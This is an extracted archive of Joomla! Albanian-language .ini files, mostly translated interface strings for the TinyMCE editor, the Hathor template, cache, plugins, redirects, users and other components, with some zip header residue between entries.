PLG_TINY_XML_DESCRIPTION="TinyMCE asht nji editor interneti JavaScript HTML WYSIWYG i pavarun nga platforma." PK@y>\8e,language/sq-AL/sq-AL.plg_finder_contacts.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_CONTACTS="Kërkim i squet - Kontaktet" PLG_FINDER_CONTACTS_XML_DESCRIPTION="Ky plugin indekson kontaktet Joomla!." PLG_FINDER_QUERY_FILTER_BRANCH_S_CONTACT="Kontakt" PLG_FINDER_QUERY_FILTER_BRANCH_S_REGION="Rajoni" PLG_FINDER_QUERY_FILTER_BRANCH_S_COUNTRY="Vendi" PLG_FINDER_QUERY_FILTER_BRANCH_P_CONTACT="Kontaktet" PLG_FINDER_QUERY_FILTER_BRANCH_P_REGION="Rajonet" PLG_FINDER_QUERY_FILTER_BRANCH_P_COUNTRY="Vendet" PK@y>\o1language/sq-AL/sq-AL.plg_finder_newsfeeds.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_NEWSFEEDS="Kërkim i squet - Lajmet feed" PLG_FINDER_NEWSFEEDS_ERROR_ACTIVATING_PLUGIN="S'mundi t'aktivizonte automatikisht pluginin "_QQ_"Kërkim i squet - Lajmet feed"_QQ_" " PLG_FINDER_NEWSFEEDS_XML_DESCRIPTION="Ky plugin indekson lajmet feed Joomla!." PK@y>\(\\#language/sq-AL/sq-AL.tpl_hathor.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM HATHOR="Hathor Administrator template" TPL_HATHOR_ALTERNATE_MENU_DESC="Use the alternative menu which integrates mouse and keyboard. JavaScript Required. (The regular menu for Hathor is accessible with or without Javascript, but leaves the mouse and keyboard independent.)" TPL_HATHOR_ALTERNATE_MENU_LABEL="Alternative Menu" TPL_HATHOR_BOLD_TEXT_DESC="Use bold text" TPL_HATHOR_BOLD_TEXT_LABEL="Bold Text" TPL_HATHOR_COLOUR_CHOICE_DESC="Select the colour palette to use with the template. You can use this option to select a high contrast version or use it to create custom branding." TPL_HATHOR_COLOUR_CHOICE_LABEL="Select Colour" TPL_HATHOR_COLOUR_CHOICE_STANDARD="Standard" TPL_HATHOR_COLOUR_CHOICE_HIGH_CONTRAST="High Contrast" TPL_HATHOR_COLOUR_CHOICE_BROWN="Brown" TPL_HATHOR_COLOUR_CHOICE_BLUE="Blu" TPL_HATHOR_COM_MENUS_MENU="Menuja" TPL_HATHOR_COM_MODULES_CUSTOM_POSITION_LABEL="Zgjidh" TPL_HATHOR_CPANEL_LINK_TEXT="Return to Control Panel" TPL_HATHOR_GO="Shko" TPL_HATHOR_MAIN_MENU="Main Menu" TPL_HATHOR_SHOW_SITE_NAME_DESC="Trego emnin e faqes në kokë të tempate-s" TPL_HATHOR_SHOW_SITE_NAME_LABEL="Trego emnin e faqes" TPL_HATHOR_SKIP_TO_MAIN_CONTENT="Skip to Main Content" TPL_HATHOR_SUB_MENU="Sub Menu" TPL_HATHOR_XML_DESCRIPTION="Hathor is an accessible administrator template for Joomla!. The Colour CSS files can also be used for custom colour branding."PK@y>\݄Rss)language/sq-AL/sq-AL.plg_system_cache.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CACHE_FIELD_BROWSERCACHE_DESC="Nëse po, përdor mekanizmin për ruejtjen e keshit të faqes në lundrues" PLG_CACHE_FIELD_BROWSERCACHE_LABEL="Përdor ruejtjen nga lundruesi" PLG_CACHE_FIELD_LIFETIME_DESC="Keshi i jetës së faqes në minuta" PLG_CACHE_FIELD_LIFETIME_LABEL="Jeta e keshit" PLG_CACHE_XML_DESCRIPTION="Mundëson ruejtjen e faqeve" PLG_SYSTEM_CACHE="System - Cache"PK@y>\'YY(language/sq-AL/sq-AL.com_modules.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_MODULES="Modulet" COM_MODULES_XML_DESCRIPTION="Component for module management on the backend." PK@y>\m&language/sq-AL/sq-AL.com_templates.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_TEMPLATES="Ftyrat" COM_TEMPLATES_ADVANCED_FIELDSET_LABEL="Advanced Options" COM_TEMPLATES_ASSIGNED_1="Assigned to one menu item" COM_TEMPLATES_ASSIGNED_MORE="Assigned to %d menu items" COM_TEMPLATES_BASIC_FIELDSET_LABEL="Basic Options" COM_TEMPLATES_CLICK_TO_ENLARGE="Click to enlarge." COM_TEMPLATES_CONFIG_FIELDSET_DESC="Global Configuration for Templates" COM_TEMPLATES_CONFIG_POSITIONS_DESC="Enable the preview of the module positions in the template by appending tp=1 to the web address. Also enables the Preview button in the list of templates. Please refresh the page after changing this setting." COM_TEMPLATES_CONFIG_POSITIONS_LABEL="Preview Module Positions" COM_TEMPLATES_CONFIGURATION="Template Manager Options" COM_TEMPLATES_ERR_XML="Template XML data non available" COM_TEMPLATES_ERROR_CANNOT_DELETE_LAST_STYLE="Cannot delete last style of a template" COM_TEMPLATES_ERROR_CANNOT_UNSET_DEFAULT_STYLE="Cannot unset default style" COM_TEMPLATES_ERROR_EDITOR_DISABLED="Either the CodeMirror or the None editor plug-in should be enabled to edit template files" COM_TEMPLATES_ERROR_EXTENSION_RECORD_NOT_FOUND="Extension record not found in database" COM_TEMPLATES_ERROR_FAILED_TO_SAVE_FILENAME="An error occurred. The file %s could not be saved." COM_TEMPLATES_ERROR_SAVE_DISABLED_TEMPLATE="Unable to save a style associated to a disabled template" COM_TEMPLATES_ERROR_SOURCE_FILE_NOT_FOUND="Source file not found" COM_TEMPLATES_ERROR_SOURCE_FILE_NOT_UNWRITABLE="Source file can't be returned to unwritable status" COM_TEMPLATES_ERROR_SOURCE_FILE_NOT_WRITABLE="Source file not writable" COM_TEMPLATES_ERROR_SOURCE_ID_FILENAME_MISMATCH="Stored ID does not match the submitted one" COM_TEMPLATES_ERROR_STYLE_NOT_FOUND="Style not found" COM_TEMPLATES_ERROR_STYLE_REQUIRES_TITLE="The style requires a title" COM_TEMPLATES_ERROR_TEMPLATE_FOLDER_NOT_FOUND="Template folder not found" COM_TEMPLATES_FIELD_CLIENT_DESC="Whether this template is used for the frontend (0) or the backend (1)" COM_TEMPLATES_FIELD_CLIENT_LABEL="Location" COM_TEMPLATES_FIELD_HOME_ADMINISTRATOR_DESC="This template style is defined or not as default template style" COM_TEMPLATES_FIELD_HOME_LABEL="Normalja" COM_TEMPLATES_FIELD_HOME_SITE_DESC="If the multilingual functionality is not implemented, please limit your choice between No and All. The template style will be defined or not as global default template style.
      If the System - Language Filter plugin is enabled, and you use different template styles depending on your content languages, please assign a language to this style." COM_TEMPLATES_FIELD_SOURCE_DESC="Source code" COM_TEMPLATES_FIELD_SOURCE_LABEL="Source Code" COM_TEMPLATES_FIELD_TEMPLATE_DESC="Emni i ftyrës" COM_TEMPLATES_FIELD_TEMPLATE_LABEL="Ftyar" COM_TEMPLATES_FIELD_TITLE_DESC="Style Name" COM_TEMPLATES_FIELD_TITLE_LABEL="Style Name" COM_TEMPLATES_FILE_SAVE_SUCCESS="File successfully saved" COM_TEMPLATES_FILTER_TEMPLATE="- Select Template -" COM_TEMPLATES_FTP_DESC="For updating the template source files, Joomla! will most likely need your FTP account details. Please enter them in the form fields below." COM_TEMPLATES_FTP_TITLE="T'dhanat e hymjes FTP" COM_TEMPLATES_GRID_UNSET_LANGUAGE="Unset %s Default" COM_TEMPLATES_HEADING_ASSIGNED="Caktue" COM_TEMPLATES_HEADING_DEFAULT="Normalja" COM_TEMPLATES_HEADING_STYLE="Stili" COM_TEMPLATES_HEADING_TEMPLATE="Ftyar" COM_TEMPLATES_MANAGER="Ftyrat" COM_TEMPLATES_MANAGER_ADD_STYLE="Template Manager: Add Style" COM_TEMPLATES_MANAGER_EDIT_FILE="Template Manager: Edit File" COM_TEMPLATES_MANAGER_EDIT_STYLE="Template Manager: Edit Style" COM_TEMPLATES_MANAGER_STYLES="Template Manager: Styles" COM_TEMPLATES_MANAGER_TEMPLATES="Template Manager: Templates" COM_TEMPLATES_MANAGER_VIEW_TEMPLATE="Template Manager: Customise Template" COM_TEMPLATES_MENU_CHANGED_1="One menu item has been assigned or unassigned to this style" COM_TEMPLATES_MENU_CHANGED_MORE="%d menu items have been assigned or unassigned to this style" COM_TEMPLATES_MENUS_ASSIGNMENT="Menus assignment" COM_TEMPLATES_MSG_MANAGE_NO_TEMPLATES="There are no templates installed matching your query" COM_TEMPLATES_MSG_MANAGE_NO_STYLES="There are no styles installed matching your query" COM_TEMPLATES_N_ITEMS_DELETED="%d template styles successfully deleted" COM_TEMPLATES_N_ITEMS_DELETED_1="Template style successfully deleted" COM_TEMPLATES_NO_TEMPLATE_SELECTED="No template selected" COM_TEMPLATES_PREVIEW="Kqyrja" COM_TEMPLATES_SITE_PREVIEW="Kqyre faqen" COM_TEMPLATES_STYLE_CANNOT_DELETE_DEFAULT_STYLE="Cannot delete default style" COM_TEMPLATES_STYLE_SAVE_SUCCESS="Style successfully saved" COM_TEMPLATES_STYLES_FILTER_SEARCH_DESC="Search in style description." COM_TEMPLATES_SUBMENU_STYLES="Styles" COM_TEMPLATES_SUBMENU_TEMPLATES="Ftyrat" COM_TEMPLATES_SUCCESS_DUPLICATED="Style successfully duplicated." COM_TEMPLATES_SUCCESS_HOME_SET="Default style successfully set." COM_TEMPLATES_SUCCESS_HOME_UNSET="Default style successfully unset." COM_TEMPLATES_TEMPLATE_ADD_CSS="Add new stylesheet" COM_TEMPLATES_TEMPLATE_ADD_ERROR="Add custom error page template (optional)" COM_TEMPLATES_TEMPLATE_CSS="Stylesheets" COM_TEMPLATES_TEMPLATE_DESCRIPTION="Template description" COM_TEMPLATES_TEMPLATE_DETAILS="%s Details and Files" COM_TEMPLATES_TEMPLATE_EDIT_CSS="Edit %s" COM_TEMPLATES_TEMPLATE_EDIT_ERROR="Edit error page template" COM_TEMPLATES_TEMPLATE_EDIT_MAIN="Edit main page template" COM_TEMPLATES_TEMPLATE_EDIT_OFFLINEVIEW="Edit offline page template" COM_TEMPLATES_TEMPLATE_EDIT_PRINTVIEW="Edit print view template" COM_TEMPLATES_TEMPLATE_FILENAME="Editing file "_QQ_"%s"_QQ_" in template "_QQ_"%s"_QQ_"." COM_TEMPLATES_TEMPLATE_HTML="HTML files" COM_TEMPLATES_TEMPLATE_MASTER_FILES="Template Master Files" COM_TEMPLATES_TEMPLATE_NO_PREVIEW="No preview available. You can enable preview in the options." COM_TEMPLATES_TEMPLATE_NO_PREVIEW_ADMIN="No preview available for Administrator templates" COM_TEMPLATES_TEMPLATE_NO_PREVIEW_DESC="To enable template previews, enable the Preview Module Positions option in Template Options" COM_TEMPLATES_TEMPLATE_NOT_SPECIFIED="Template not specified." COM_TEMPLATES_TEMPLATE_PREVIEW="Kqyrja" COM_TEMPLATES_TEMPLATES_FILTER_SEARCH_DESC="Search in template name or folder name." COM_TEMPLATES_TOOLBAR_SET_HOME="Make Default" COM_TEMPLATES_XML_DESCRIPTION="This component manages templates" JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
      Inherited means that the permissions from global configuration and parent group will be used.
      Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
      Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
      2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\(~&*language/sq-AL/sq-AL.com_newsfeeds.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_NEWSFEEDS="Newsfeeds" COM_NEWSFEEDS_CATEGORIES="Kategoritë" COM_NEWSFEEDS_CATEGORIES_VIEW_DEFAULT_DESC="Show all the news feed categories within a category." COM_NEWSFEEDS_CATEGORIES_VIEW_DEFAULT_OPTION="Normalja" COM_NEWSFEEDS_CATEGORIES_VIEW_DEFAULT_TITLE="List All News Feed Categories" COM_NEWSFEEDS_CATEGORY_ADD_TITLE="Category Manager: Add A News Feed Category" COM_NEWSFEEDS_CATEGORY_EDIT_TITLE="Category Manager: Edit A News Feed Category" COM_NEWSFEEDS_CATEGORY_VIEW_DEFAULT_DESC="Show all news feeds within a category." COM_NEWSFEEDS_CATEGORY_VIEW_DEFAULT_OPTION="Normalja" COM_NEWSFEEDS_CATEGORY_VIEW_DEFAULT_TITLE="List News Feeds in a Category" COM_NEWSFEEDS_FEEDS="feeds" COM_NEWSFEEDS_NEWSFEED_VIEW_DEFAULT_DESC="Show a single news feed." COM_NEWSFEEDS_NEWSFEED_VIEW_DEFAULT_OPTION="Normalja" COM_NEWSFEEDS_NEWSFEED_VIEW_DEFAULT_TITLE="Single News Feed" COM_NEWSFEEDS_XML_DESCRIPTION="This component manages RSS and Atom news feeds" PK@y>\P#D; ; $language/sq-AL/sq-AL.com_plugins.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_PLUGINS="Plugins Manager" COM_PLUGINS_ADVANCED_FIELDSET_LABEL="Advanced Options" COM_PLUGINS_BASIC_FIELDSET_LABEL="Basic Options" COM_PLUGINS_CONFIGURATION="Plug-in Manager Options" COM_PLUGINS_ELEMENT_HEADING="Element" COM_PLUGINS_ERROR_FILE_NOT_FOUND="The file %s could not be found." COM_PLUGINS_FIELD_ELEMENT_DESC="Plugin folder and main file name" COM_PLUGINS_FIELD_ELEMENT_LABEL="Plug-in File" COM_PLUGINS_FIELD_ENABLED_DESC="The enabled status of this plugin" COM_PLUGINS_FIELD_FOLDER_DESC="Category/folder of plugins this plugin belongs to." COM_PLUGINS_FIELD_FOLDER_LABEL="Plug-in Type" COM_PLUGINS_FIELD_NAME_DESC="The name of the plugin as defined in its xml" COM_PLUGINS_FIELD_NAME_LABEL="Plug-in Name" COM_PLUGINS_FOLDER_HEADING="Lloji" COM_PLUGINS_MANAGER_PLUGIN="Plug-in Manager: %s" COM_PLUGINS_MANAGER_PLUGINS="Plug-in Manager: Plug-ins" COM_PLUGINS_MSG_MANAGE_NO_PLUGINS="There are no plugins installed matching your query" COM_PLUGINS_N_ITEMS_CHECKED_IN_0="No plugin successfully checked in" COM_PLUGINS_N_ITEMS_CHECKED_IN_1="%d plugin successfully checked in" COM_PLUGINS_N_ITEMS_CHECKED_IN_MORE="%d plugins successfully checked in" COM_PLUGINS_N_ITEMS_PUBLISHED="%d plugins successfully enabled" COM_PLUGINS_N_ITEMS_PUBLISHED_1="Plugin successfully enabled" COM_PLUGINS_N_ITEMS_UNPUBLISHED="%d plugins successfully disabled" COM_PLUGINS_N_ITEMS_UNPUBLISHED_1="Plugin successfully disabled" COM_PLUGINS_NAME_HEADING="Plug-in Name" COM_PLUGINS_NO_ITEM_SELECTED="No plugins selected" COM_PLUGINS_OPTION_FOLDER="- Select Type -" COM_PLUGINS_SAVE_SUCCESS="Plugin successfully saved" COM_PLUGINS_SEARCH_IN_TITLE="Search in plug-in title." COM_PLUGINS_XML_DESCRIPTION="This component manages Joomla! plugins" COM_PLUGINS_XML_ERR="Plugins XML data not available" JLIB_HTML_PUBLISH_ITEM="Aktivizo pluginin" JLIB_HTML_UNPUBLISH_ITEM="Disable plugin" JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
      Inherited means that the permissions from global configuration and parent group will be used.
      Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
      Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
      2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\҂%DD&language/sq-AL/sq-AL.com_media.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_MEDIA="Media" COM_MEDIA_XML_DESCRIPTION="Component for managing site media" PK@y>\?쾯(language/sq-AL/sq-AL.mod_toolbar.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_TOOLBAR="Shiriti" MOD_TOOLBAR_XML_DESCRIPTION="Ky modul tregon ikonat e shiritit përdorë me kontrollue veprimet në zonën e administratorit" MOD_TOOLBAR_LAYOUT_DEFAULT="Normalja" PK@y>\p;4language/sq-AL/sq-AL.plg_user_contactcreator.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM PLG_CONTACTCREATOR_XML_DESCRIPTION="Plugin to automatically create contact information for new users" PLG_USER_CONTACTCREATOR="User - Contact Creator" PK@y>\VV&language/sq-AL/sq-AL.com_users.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_USER_LOGIN_VIEW_DEFAULT_DESC="Displays a Login Form" COM_USER_LOGIN_VIEW_DEFAULT_OPTION="Formulari i hymjes" COM_USER_LOGIN_VIEW_DEFAULT_TITLE="Formulari i hymjes" COM_USER_PROFILE_EDIT_DEFAULT_DESC="Edit a User Profile" COM_USER_PROFILE_EDIT_DEFAULT_OPTION="Edit User Profile" COM_USER_PROFILE_EDIT_DEFAULT_TITLE="Edit User Profile" COM_USER_PROFILE_VIEW_DEFAULT_DESC="Displays a User Profile" COM_USER_PROFILE_VIEW_DEFAULT_OPTION="User Profile" COM_USER_PROFILE_VIEW_DEFAULT_TITLE="User Profile" COM_USER_REGISTRATION_VIEW_DEFAULT_DESC="Displays a Registration Form" COM_USER_REGISTRATION_VIEW_DEFAULT_OPTION="Normalja" COM_USER_REGISTRATION_VIEW_DEFAULT_TITLE="Registration Form" COM_USER_REMIND_VIEW_DEFAULT_DESC="Displays a Username Reminder Request" COM_USER_REMIND_VIEW_DEFAULT_OPTION="Normalja" COM_USER_REMIND_VIEW_DEFAULT_TITLE="Username Reminder Request" COM_USER_RESET_VIEW_DEFAULT_DESC="Displays a request to Reset Password" COM_USER_RESET_VIEW_DEFAULT_OPTION="Normalja" COM_USER_RESET_VIEW_DEFAULT_TITLE="Password Reset" COM_USERS="Users Manager" COM_USERS_XML_DESCRIPTION="Component for managing users" PK@y>\3P%language/sq-AL/sq-AL.com_redirect.ininuW+A; Joomla1 sq-AL ; @package Joomla.Administrator ; @subpackage com_redirect ; @copyright Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved. ; @license GNU General Public License version 2 or later; see LICENSE.txt" COM_REDIRECT="Redirect" COM_REDIRECT_BUTTON_UPDATE_LINKS="Update Links" COM_REDIRECT_CONFIGURATION="Redirect Manager Options" COM_REDIRECT_DETAILS="Hollësinat" COM_REDIRECT_DISABLE_LINK="Disable Link" COM_REDIRECT_EDIT_LINK="Edit Link #%d" COM_REDIRECT_ENABLE_LINK="Enable Link" COM_REDIRECT_ERROR_DESTINATION_URL_REQUIRED="The redirect must have a destination URL" COM_REDIRECT_ERROR_DUPLICATE_OLD_URL="The source URL must be unique." COM_REDIRECT_ERROR_DUPLICATE_URLS="The source and destination URLs cannot be the same." COM_REDIRECT_ERROR_SOURCE_URL_REQUIRED="The redirect must have a source URL" COM_REDIRECT_FIELD_COMMENT_DESC="Sometimes it is helpful to describe the URLs for redirect management later on." COM_REDIRECT_FIELD_COMMENT_LABEL="Comment" COM_REDIRECT_FIELD_CREATED_DATE_LABEL="Data e krijimit" COM_REDIRECT_FIELD_NEW_URL_DESC="Enter here the URL to be redirected to." COM_REDIRECT_FIELD_NEW_URL_LABEL="Destination URL" COM_REDIRECT_FIELD_OLD_URL_DESC="Enter here the URL that has to be redirected." COM_REDIRECT_FIELD_OLD_URL_LABEL="Source URL" COM_REDIRECT_FIELD_REFERRER_LABEL="Link Referrer" COM_REDIRECT_FIELD_UPDATED_DATE_LABEL="Last Updated Date" COM_REDIRECT_HEADING_CREATED_DATE="Data e krijimit" COM_REDIRECT_HEADING_NEW_URL="New URL" COM_REDIRECT_HEADING_OLD_URL="Expired URL" COM_REDIRECT_HEADING_REFERRER="Referring Page" COM_REDIRECT_HEADING_UPDATE_LINKS="Update selected links to the following new URL" COM_REDIRECT_MANAGER_LINK="Redirect Manager: Link" COM_REDIRECT_MANAGER_LINKS="Redirect Manager: Links" COM_REDIRECT_N_ITEMS_ARCHIVED="%d links successfully archived" COM_REDIRECT_N_ITEMS_ARCHIVED_1="Link successfully archived" COM_REDIRECT_N_ITEMS_DELETED="%d links successfully deleted" COM_REDIRECT_N_ITEMS_DELETED_1="Link successfully deleted" COM_REDIRECT_N_ITEMS_PUBLISHED="%d links successfully enabled" COM_REDIRECT_N_ITEMS_PUBLISHED_1="Link successfully enabled" COM_REDIRECT_N_ITEMS_TRASHED="%d links successfully trashed" COM_REDIRECT_N_ITEMS_TRASHED_1="Link successfully trashed" COM_REDIRECT_N_ITEMS_UNPUBLISHED="%d links successfully disabled" COM_REDIRECT_N_ITEMS_UNPUBLISHED_1="Link successfully disabled" COM_REDIRECT_N_LINKS_UPDATED="%d links updated." COM_REDIRECT_N_LINKS_UPDATED_1="One link has been updated" COM_REDIRECT_NEW_LINK="New Link" COM_REDIRECT_NO_ITEM_SELECTED="No links selected" COM_REDIRECT_OPTIONS="Opsionet" COM_REDIRECT_PLUGIN_DISABLED="The Redirect Plug-in is disabled. Enable it in the Plug-in Manager." COM_REDIRECT_PLUGIN_ENABLED="The Redirect Plug-in is enabled." COM_REDIRECT_REDIRECTED_ON="Redirected on: %s." COM_REDIRECT_SAVE_SUCCESS="Link successfully saved" COM_REDIRECT_SEARCH_LINKS="Search in link fields." COM_REDIRECT_XML_DESCRIPTION="This component implements link redirection" JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
      Inherited means that the permissions from global configuration and parent group will be used.
      Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
      Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
      2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\FR'language/sq-AL/sq-AL.mod_custom.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_CUSTOM="HTML ekstra" MOD_CUSTOM_XML_DESCRIPTION="This Module allows you to create your own HTML Module using a WYSIWYG editor." MOD_CUSTOM_LAYOUT_DEFAULT="Normalja" PK@y>\;v  2language/sq-AL/sq-AL.plg_content_pagebreak.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_PAGEBREAK="Përmbajtja - Krijim faqesh" PLG_CONTENT_PAGEBREAK_XML_DESCRIPTION="Lejo krijimin e artikullit me faqe me tabelë opsionale përmbajtjeje. Fut ndamje faqesh përmes përdorimit të butonit të copëzimit që normalisht gjehet poshtë panelit të tekstit në artikull. Ndamja e faqeve ka me u shfaqë në dritaretn e tekstit si nji vijë e thjeshtë horizontale.
      Teksti i shfaqun do të varet nga opsionet e përzgjedhuna dhe mund të jetë ose titull, tekst alternativ (nëse jepjet), ose numra faqesh.

      Përdorimi i HTML-së asht:
      <hr class="_QQ_"system-pagebreak"_QQ_" />
      <hr class="_QQ_"system-pagebreak"_QQ_" title="_QQ_"Titulli i faqes"_QQ_" /> ose
      <hr class="_QQ_"system-pagebreak"_QQ_" alt="_QQ_"Faqja e parë"_QQ_" /> or
      <hr class="_QQ_"system-pagebreak"_QQ_" title="_QQ_"Titulli i faqes"_QQ_" alt="_QQ_"Faqja e parë"_QQ_" /> ose
      <hr class="_QQ_"system-pagebreak"_QQ_" alt="_QQ_"Faqja e parë"_QQ_" title="_QQ_"Titulli i faqes"_QQ_" />" PK@y>\*"language/sq-AL/sq-AL.com_cache.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CACHE="Menaxheri i keshit" COM_CACHE_BACK_CACHE_MANAGER="Kthehu tek menaxheri i keshit" COM_CACHE_CLEAR_CACHE_ADMIN="Pastro keshin e adminit" COM_CACHE_CLEAR_CACHE="Mirëmbajtje: Pastro keshin" COM_CACHE_PURGE_EXPIRED_CACHE="Mirëmbajtje: Pastro keshin e skaduem" COM_CACHE_CONFIGURATION="T'dhanat e menaxherit të keshit" COM_CACHE_EXPIRED_ITEMS_HAVE_BEEN_PURGED="Sendet e skadueme janë pastrue." COM_CACHE_GROUP="Grupi i keshit" COM_CACHE_MANAGER="Menaxheri i keshit" COM_CACHE_NUM="nr" COM_CACHE_NUMBER_OF_FILES="Numri i dokumentave" COM_CACHE_PURGE_CACHE_ADMIN="Pastro keshin e administratorit" COM_CACHE_PURGE_EXPIRED="Pastro të skaduemet" COM_CACHE_PURGE_EXPIRED_ITEMS="Pastro sendet e skadueme" COM_CACHE_PURGE_INSTRUCTIONS="Shtyp Pastro të skaduemet në tulbar me fshi krejt dokumentat e keshit të skaduem. V.O.: Dokumentat e keshit që janë aktuale ende nuk kanë m'u fshi." COM_CACHE_RESOURCE_INTENSIVE_WARNING="PARALAJMËRIM: Kjo mund të kërkojë shum burime në faqe me numër të madh dokumentash!" COM_CACHE_SIZE="Madhësia" COM_CACHE_SELECT_CLIENT="- Zgjidh vendndodhjen -" COM_CACHE_XML_DESCRIPTION="Komponenti për menaxhimin e keshit" JLIB_RULES_SETTING_NOTES="1. Nëse ndryshon të dhanat, kjo ka me u zbatue mbi këte komponent. Ven re që:
      Trashëgue do me thanë që do të përdoren lejet nga konfigurimi global dhe grupi prind .
      Mohue don me thanë që pavarësisht të dhanave të konfigurimit global apo të grupit prind, grupi që po ndryshohet s'mund ta ndërmarrë këte veprim mbi këte komponent.
      Lejue don me thanë që grupi që po ndryshohet ka me qenë në gjendje me e ndërmarrë këte veprim për këte komponent (por nëse kjo asht në konflikt me konfigurimin global apo grupin prind, nuk ka me pasë ndikim; konflikti ka me u tregue nga S'lejohet (Kyçë) tek t'Dhanat e llogarituna).
      2. Nëse përzgjedh nji të dhannë të re, shtyp Ruej me rifreskue t'dhanat e llogarituna." PK@y>\2jj3language/sq-AL/sq-AL.plg_editors_codemirror.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CODEMIRROR_XML_DESCRIPTION="This plugin loads the CodeMirror editor." PLG_EDITORS_CODEMIRROR="Editor - CodeMirror"PK@y>\.b0language/sq-AL/sq-AL.plg_finder_weblinks.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_WEBLINKS="Kërkim i squet - Nyjet" PLG_FINDER_WEBLINKS_ERROR_ACTIVATING_PLUGIN="S'mundi t'aktivizonte automatikisht pluginin "_QQ_"Kërkim i squet - Nyjet"_QQ_" " PLG_FINDER_WEBLINKS_XML_DESCRIPTION="Ky plugin indekson nyjet Joomla!." PK@y>\+ 'language/sq-AL/sq-AL.mod_logged.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_LOGGED="Logged-in Users" MOD_LOGGED_XML_DESCRIPTION="This Module shows a list of the currently Logged-in Users" MOD_LOGGED_LAYOUT_DEFAULT="Normalja" 